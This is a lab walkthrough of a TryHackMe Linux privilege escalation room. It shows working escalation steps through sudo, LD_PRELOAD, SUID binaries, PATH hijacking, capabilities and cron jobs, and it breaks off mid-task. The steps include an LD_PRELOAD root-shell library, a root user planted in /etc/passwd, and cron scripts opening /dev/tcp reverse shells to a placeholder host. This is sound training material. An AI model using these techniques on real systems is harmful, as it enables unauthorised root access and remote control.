Linux Privilege Escalation: Basics (TryHackMe)

Link to the Privilege Escalation challenge on TryHackMe: Linux Privilege Escalation: Basics
Introduction
In the Linux Privilege Escalation: Enumeration room, you built a foundation in enumeration — learning how to survey a Linux system for misconfigurations, weak permissions, and potential escalation vectors. Now it's time to act on what you found.
This room picks up where the Linux Privilege Escalation: Enumeration room left off. You'll take the same kinds of misconfigurations you learned to spot and actually exploit them to escalate from a low-privileged user to root. Each section focuses on a different vector: abusing sudo permissions, leveraging SUID binaries, hijacking the PATH variable, exploiting writable cron jobs, taking advantage of Linux capabilities, and misconfigured NFS shares.
Note: Each task will have it’s own target machine. Make sure to always spin up the new target machine matching the task.
Prerequisites
Learning Objectives
Understand basic Linux privilege escalation vectors
Understand the impact of Linux privilege escalation
Demonstrate manual exploitation for Linux privilege escalation
Privilege Escalation: Sudo
The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping their regular privilege level throughout the rest of the system. This task will focus on three different sudo abuse techniques.
https://gtfobins.github.io/is a valuable source that provides information on how any program, on which you may have sudo rights, can be abused.
Basic Sudo Escalation
Any user can check their current situation related to root privileges using the sudo -l command. The output looks similar to the following example.
john@sudo-box:~$ sudo -l
Matching Defaults entries for labuser on target:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User labuser may run the following commands on target:
(ALL) NOPASSWD: /bin/cat
In this case, the user can run /bin/cat as root, meaning they can read any file as root. For example, reading /etc/shadow will show the password hashes of other users, which can then be cracked offline.
Leverage Application Functions
Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.
In this case, you can use a "hack" to leak information by leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files ( -f: specify an alternate ServerConfigFile).
john@sudo-box:~$ apache2 -h
Usage: apache2 [-D name] [-d directory] [-f file]
[-C "directive"] [-c "directive"]
[-k start|restart|graceful|graceful-stop|stop]
[-v] [-V] [-h] [-l] [-L] [-t] [-S] [-X]
Options:
-D name : define a name for use in <IfDefine name> directives
-d directory : specify an alternate initial ServerRoot
-f file : specify an alternate ServerConfigFile
-C "directive" : process directive before reading config files
-c "directive" : process directive after reading config files
-e level : show startup errors of level (see LogLevel)
-E file : log startup errors to file
-v : show version number
-V : show compile settings
-h : list available command line options (this page)
-l : list compiled in modules
Loading the /etc/shadow file using this option will result in an error message that includes the first line of the /etc/shadow file, but since that is the root line, it will basically give you the root hash, which can be cracked offline. On ubuntu the command is:
sudo apache2 -C "LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so" -f /etc/shadow
Leverage LD_PRELOAD
On some systems, you may see the LD_PRELOAD environment option.
john@sudo-box:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD
User john may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
LD_PRELOAD is a function that allows any program to use shared libraries. This blog post will give you an idea about the capabilities of LD_PRELOAD. If the "env_keep" option is enabled, you can generate a shared library that will be loaded and executed before the program is run. Please note that the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.
The steps of this privilege escalation vector can be summarized as follows:
Check for LD_PRELOAD (with the env_keep option)
Write a simple C code compiled as a shared object (.so extension) file
Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file
The C code will simply spawn a root shell and can be written as follows:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0); system("/bin/bash");
}
You can save this code as shell.c and compile it using gcc into a shared object file using the following parameters:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
john@sudo-box:~$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
john@sudo-box:~$ ls
shell.c
john@sudo-box:~$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
john@sudo-box:~$ ls
shell.c shell.so
You can now use this shared object file when launching any program that your user can run with sudo. In this case, apache2, find, or almost any of the programs you can run with sudo can be used.
You need to run the program by specifying the LD_PRELOAD option, as follows:
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
This will result in a shell spawning with root privileges.
john@sudo-box:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
john@sudo-box:~$ whoami
user
john@sudo-box:~$ sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
root@sudo-box:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@sudo-box:/home/john# whoami
root
The LD_PRELOAD situation is a rare case. More often than not, you will find simpler sudo privilege escalation vectors. The target machine's user has been assigned sudo permissions that allow them to escalate privileges using one of the techniques presented.
Answer the questions below
What is the full path of the program that john can run with sudo?
sudo -l
Matching Defaults entries for john on sudo-box:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=LD_PRELOAD
User john may run the following commands on sudo-box:
(ALL) NOPASSWD: /usr/bin/nano
(ALL) NOPASSWD: /usr/sbin/apache2
What are the contents of /root/flag.txt?
sudo /usr/bin/nano /root/flag.txt
Privilege Escalation: SUID
Many of the Linux privilege controls rely on controlling the interactions between users and files. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.
You will notice these files have an s bit set showing their special permission level. This means that the program will run with the effective UserID of the owner of the binary.
find / -type f -perm -04000 -ls 2>/dev/null will list files that have SUID or SGID bits set.
find / -type f -perm -04000 -ls 2>/dev/null
john@suid-box:~$ find / -type f -perm -04000 -ls 2>/dev/null
809081 40 -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
810173 36 -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
812578 172 -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
809080 44 -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
809078 64 -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
809077 40 -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
816078 12 -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
816762 8 -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
816764 8 -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
815723 948 -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
832517 12 -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device
832743 212 -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
812623 12 -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
473324 36 -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
473326 188 -rwsr-xr-x 1 root root 188328 Apr 15 2010 /bin/nano (Note: this normally doesn't have SUID)
473323 36 -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
473292 84 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
473312 36 -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
473290 60 -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
465223 100 -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs
A good practice would be to compare executables on this list with GTFOBins (https://gtfobins.github.io(opens in new tab)). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list https://gtfobins.org/#//^suid\)(opens in new tab). The list above shows that nano has the SUID bit set. Typical of real-life privilege escalation scenarios, you will need to find intermediate steps that will help you leverage whatever minuscule finding we have.
Note: The attached VM has another binary with SUID other than nano. You will have to find it using the techniques presented in this task.
The SUID bit set for the nano text editor allows you to create, edit, and read files using the file owner’s privilege. Nano is owned by root, which you can read and edit files at a higher privilege level than your current user has. At this stage, you have two basic options for privilege escalation: reading the /etc/shadow file or adding our user to /etc/passwd.
Reading the /etc/shadow File
You can see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2>/dev/null command.
nano /etc/shadow will print the contents of the /etc/shadow file. You can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.
The unshadow tool’s usage can be seen below:unshadow passwd.txt shadow.txt > passwords.txt
unshadow passwd.txt shadow.txt > passwords.txt
john@suid-box:~$ unshadow passwd.txt shadow.txt > passwords.txt
Created directory /home/user/.john
With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit our John the Ripper: The Basics room.
Replacing the root User
The other option would be to add a new user who has root privileges. This would help you circumvent the tedious process of password cracking. Below is an easy way to do it.
You will need the hash value of the password you want the new user to have. This can be done quickly using the openssl tool on Kali Linux.
openssl passwd -1 -salt THM password1
john@suid-box:~$ openssl passwd -1 -salt THM password1
\(1\)THM$WnbwlliCqxFRQepUTCkUT1
You will then add this password with a username to the /etc/passwd file.
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/false
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
user2:\(1\)J/n4dHHj$QXqkhtfrlz1VYMjXbyK820:0:0:root:/root:/bin/bash
hacker:\(1\)THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash
Once your user is added (please note how root:/bin/bash was used to provide a root shell), you will need to switch to this user and hopefully should have root privileges.
Escalation to root
john@suid-box:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
john@suid-box:~$ whoami
john
john@suid-box:~$ su hacker
Password:
root@suid-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@suid-box:~# whoami
root
Next, you will have to exploit a similar vulnerability on the target system.
Answer the questions below
What is the full path of the binary in /usr/bin/ that is vulnerable to a SUID exploitation?
find /usr/bin -type f -perm -4000 2>/dev/null
find /usr/bin -type f -perm -4000 2>/dev/null
/usr/bin/vim.basic
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
What are the contents of the flag found in /root/?
vim -c ':redir! >//usr/bin/vim.basic | echo "DATA" | redir END | q’
openssl passwd -1 -salt THM password1
/usr/bin/vim.basic /etc/passwd
hacker:\(1\)THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash
john@suid-box:~$ su hacker
Password: password1
root@suid-box:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
root@suid-box:/home/john# whoami
root
root@suid-box:/home/john# pwd
/home/john
root@suid-box:/home/john# ls /home
john ubuntu
root@suid-box:/home/john# ls -la /root
total 40
drwx------ 5 root root 4096 Apr 28 06:29 .
drwxr-xr-x 22 root root 4096 Jun 12 12:00 ..
-rw------- 1 root root 5 Feb 17 18:58 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Oct 22 2024 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root root 4096 Oct 22 2024 .ssh
-rw------- 1 root root 705 Mar 5 12:10 .viminfo
-rw-r--r-- 1 root root 23 Mar 5 12:09 root_priv_esc_flag.txt
drwxr-xr-x 4 root root 4096 Oct 22 2024 snap
root@suid-box:/home/john# cat /root/root_priv_esc_flag.txt
THM{root-by-SUID-REDACTED}
Privilege Escalation: PATH
If a directory for which your user has write permission is located in PATH, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in directories defined under $PATH. (PATH is the environmental variable we're talking about here and path is the location to a directory).
Typically, the PATH will look like this:
echo $PATH
john@path-box:~\( echo \)PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
If you type “thm” into the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.
What directories are located under
$PATH?Does your current user have write privileges for any of these directories?
Can you modify
$PATH?Is there a script/application you can start that will be affected by this vulnerability?
For demo purposes, refer to the program below:
This script tries to launch a system binary called “thm”, but the example can easily be replicated with any binary. Below, the code is compiled into an executable and given SUID permissions.
cat path_exp.c
root@path-box:~# cat path_exp.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("thm");
}
root@path-box:~# gcc path_exp.c -o program -w
root@path-box:~# chmod u+s program
root@path-box:~# ls -l
total 24
-rwsr-xr-x 1 root root 16792 Jun 17 07:02 program
-rw-rw-r-- 1 alper alper 76 Jun 17 06:53 path_exp.c
Once executed, “program” will look for an executable named “thm” inside directories listed under PATH. If any writable directory is listed under PATH, you could create a binary named thm under that directory and have your “program” binary run it. As the SUID bit is set, this binary will run with root privileges. A simple search for writable directories can be done using the find / -writable 2>/dev/null command. The output of this command can be cleaned using a simple cut and sort sequence.
find / -type d -writable 2> /dev/null | sort -u
john@path-box:~$ find / -type d -writable 2> /dev/null | sort -u
/run/user/1001/systemd/inaccessible
/run/user/1001/systemd/propagate
/run/user/1001/systemd/propagate/.os-release-stage
/run/user/1001/systemd/units
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/dbus.socket
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/app.slice/gpg-agent-ssh.socket
/sys/fs/cgroup/user.slice/user-1001.slice/user@1001.service/init.scope
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
The directory that will be easier to write to is probably /tmp. At this point, because /tmp is not present in PATH, you will need to add it.
As you can see below, the export PATH=/tmp:$PATH command accomplishes this.
export \(PATH=/tmp:\)PATH
john@path-box:~\( echo \)PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
john@path-box:~\( export PATH=/tmp:\)PATH
john@path-box:~\( echo \)PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
At this point, the program binary will also look under the /tmp directory for an executable named “thm”.
Now that the program binary will look for a thm executable in /tmp, our next step is to create a thm binary or a script in this directory that will escalate our privileges.
createthmscript
john@path-box:~$ cd /tmp
john@path-box:~$ echo "/bin/bash" > thm
john@path-box:~$ chmod 777 thm
john@path-box:~$ ls -l thm
-rwxrwxrwx 1 john john 10 Jun 17 14:36 thm
You will have to give execution permission to your copy of /bin/bash. What makes a privilege escalation possible within this context is that the program binary runs with root privileges.
Escalate to root
john@path-box:~$ whoami
john
john@path-box:~$ ./program
root@path-box:~# whoami
root
Next, you will have to exploit a similar scenario.
Answer the questions below
Find a custom SUID binary on the target host, using the techniques you learned before. What is the full path of this binary?
find / -type f -perm -4000 2>/dev/null
/opt/path/mywhoami
Run the strings command on the SUID binary. What binary does it call from path?
strings /opt/path/mywhoami
/lib64/ld-linux-x86-64.so.2
Y,b]yN%
__stack_chk_fail
setgid
setuid
system
__libc_start_main
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.4
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
whoami
9*3$"
GCC: (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
mywhoami.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
__stack_chk_fail@GLIBC_2.4
system@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
Exploit this behavior as you've seen in the example scenario, to hijack the PATH and gain root privileges. What are the contents of /root/flag.txt?
# 1. Check current PATH
echo $PATH
# 2. Add /tmp to the front of PATH so it's searched first
export PATH=/tmp:$PATH
# 3. Verify /tmp is now at the front
echo $PATH
# 4. Create a fake "whoami" in /tmp that spawns a shell
echo "/bin/bash" > /tmp/whoami
chmod 777 /tmp/whoami
# 5. Run the SUID binary — it calls "whoami", finds your fake one in /tmp first, runs it as root
/opt/path/mywhoami
# 6. Confirm you're root
id
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
john@path-box:~\( export PATH=/tmp:\)PATH
john@path-box:~$ cd /tmp
john@path-box:/tmp$ echo "/bin/bash" > /tmp/whoami
john@path-box:/tmp$ chmod 777 /tmp/whoami
john@path-box:/tmp$ /opt/path/mywhoami
root@path-box:/tmp# whoami
root@path-box:/tmp# cat /root/flag.txt
THM{PATH-and-SUID-REDACTED}
Privilege Escalation: Capabilities
Another method system administrators can use to elevate the privilege level of a process or binary is “capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher-privileged user. The capabilities man page provides detailed information on its usage and options.
You can use the getcap tool to list enabled capabilities.
john@capabilities-box:~$ getcap -r / 2>/dev/null
/home/john/vim = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
The cap_setuid+ep capability allows a binary to change its user ID to any user (including root) with the capability immediately active when executed.
When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.
Please note that neither Vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.
john@capabilities-box:~$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Jun 16 00:43 /usr/bin/vim → /etc/alternatives/vim
john@capabilities-box:~$ ls -l /home/john/vim
-rwxr-xr-x 1 root root 2906824 Jun 16 02:06 /home/john/vim
GTFObins has a good list of binaries that can be leveraged for privilege escalation if you find any set capabilities.
Notice that Vim can be used with the following command and payload:
john@capabilities-box:~$ whoami
john
john@capabilities-box:~$ ./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The command above uses Vim to run Python code. First, the os library is imported. Then, setuid is used to set the user ID to 0(root); without this, the next command would be run with the original user ID. Finally, /bin/bash is called with root privileges.
root@capabilities-box:~# id
uid=0(root) gid=1000(john) groups=1000(john),4(adm),4(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
Next, you will have to exploit a similar vulnerability on the target system.
Answer the questions below
How many binaries have set capabilities?
getcap -r / 2>/dev/null
/snap/core20/2379/usr/bin/ping cap_net_raw=ep
/snap/core22/1621/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/bin/python3.12 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
What is the full path of the binary that can be used to gain root through its capabilities? /usr/bin/python3.12
What are the contents of /root/flag.txt?
john@capabilities-box:~$ ls -l /usr/bin/vim
lrwxrwxrwx 1 root root 21 Jun 16 00:43 /usr/bin/vim → /etc/alternatives/vim
john@capabilities-box:~$ ls -l /home/john/vim
-rwxr-xr-x 1 root root 2906824 Jun 16 02:06 /home/john/vim
/usr/bin/python3.12 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash")'
root@capabilities-box:~# cat /root/flag.txt
THM{caps_getting_REDACTED}
Privilege Escalation: Cron Jobs
Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privileges of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.
If there is a scheduled task that runs with root privileges and you can change the script that will be run, then your script will run with root privileges.
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
Each user on the system has their crontab file and can run specific tasks whether they are logged in or not. As you can expect, the goal will be to find a cron job set by root and have it run our script, ideally a shell.
Any user can read the file keeping system-wide cron jobs under /etc/crontab.
While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly, or monthly in penetration test engagements.
Info: The entries on the target machine will be different than the ones used in these examples.
john@cron-box:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /home/john/Desktop/backup.sh
You can see the backup.sh script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.
john@cron-box:~$ ls -la backup.sh
-rwxrwxrwx 1 root root 142 Apr 28 14:23 backup.sh
As the current user can access this script, you can modify it to create a reverse shell with root privileges.
The script will use the tools available on the target system to launch a reverse shell. Two points to note:
The command syntax will vary depending on the available tools. (e.g., nc will probably not support the -e option you may have seen used in other cases) You should always prefer to start reverse shells, as you don't want to compromise the system integrity during a real penetration testing engagement. The file should look like this:
john@cron-box:~$ cat backup.sh
#!/bin/bash
bash -i >& /dev/tcp/CONNECTION_IP/6666 0>&1
You then run a listener on your attacking machine to receive the incoming connection.
root@CONNECTION_IP:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [CONNECTION_IP] from (UNKNOWN) [MACHINE_IP] 43550
bash: cannot set terminal process group (4483): Inappropriate ioctl for device
bash: no job control in this shell
root@targetsystem:~# id
id
uid=0(root) gid=0(root) groups=0(root)
Crontab is always worth checking, as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level.
System administrators need to run a script at regular intervals. They create a cron job to do this. After a while, the script becomes useless, and they delete it but forget to clean the relevant cron job.
john@cron-box:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root antivirus.sh
john@cron-box:~$ locate antivirus.sh
john@cron-box:~$
The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists. If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, you should be able to create a script named antivirus.sh under a writable directory listed in the PATH variable, and it should be run by the cron job. The file on the target system should look similar to the previous one.
john@cron-box:~$ cat antivirus.sh
#!/bin/bash
bash -i >& /dev/tcp/CONNECTION_IP/7777 0>&1
The incoming reverse shell connection has root privileges:
root@CONNECTION_IP:~# nc -nlvp 7777
listening on [any] 6666 ...
connect to [CONNECTION_IP] from (UNKNOWN) [MACHINE_IP] 59838
bash: cannot set terminal process group (7275): Inappropriate ioctl for device
bash: no job control in this shell
id
uid=0(root) gid=0(root) groups=0(root)
Another way of exploiting this is simply changing the root password by adding the following line to the vulnerable script.
echo "root:newpass" | chpasswd
Then you can simply log in as root after the job is run by calling su and supplying your new password.
If you ever find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.
While a lot of the time you will find cron jobs in /etc/crontab, this is not the only place where they can be defined. The other locations are:
/etc/cron.d/— a directory for drop-in crontab fragments, typically used by packages. Same format as /etc/crontab (includes the user field).
/etc/cron.hourly/ — scripts here are run once per hour.
/etc/cron.daily/ — scripts here are run once per day.
/etc/cron.weekly/ — scripts here are run once per week.
/etc/cron.monthly/ — scripts here are run once per month.
Next, you will have to exploit a similar vulnerability on the target system.
Answer the questions below
What is the full path of the cron job that can be exploited?
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
ls -la /etc/cron.d
total 32
drwxr-xr-x 2 root root 4096 Mar 3 07:27 .
drwxr-xr-x 106 root root 12288 Jun 12 13:11 ..
-rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder
-rw-r--r-- 1 root root 139 Mar 3 07:27 cleanup
-rw-r--r-- 1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 396 Jan 9 2024 sysstat
What are the contents of /root/flag.txt?
cat /etc/cron.d/cleanup
SHELL=/bin/bash
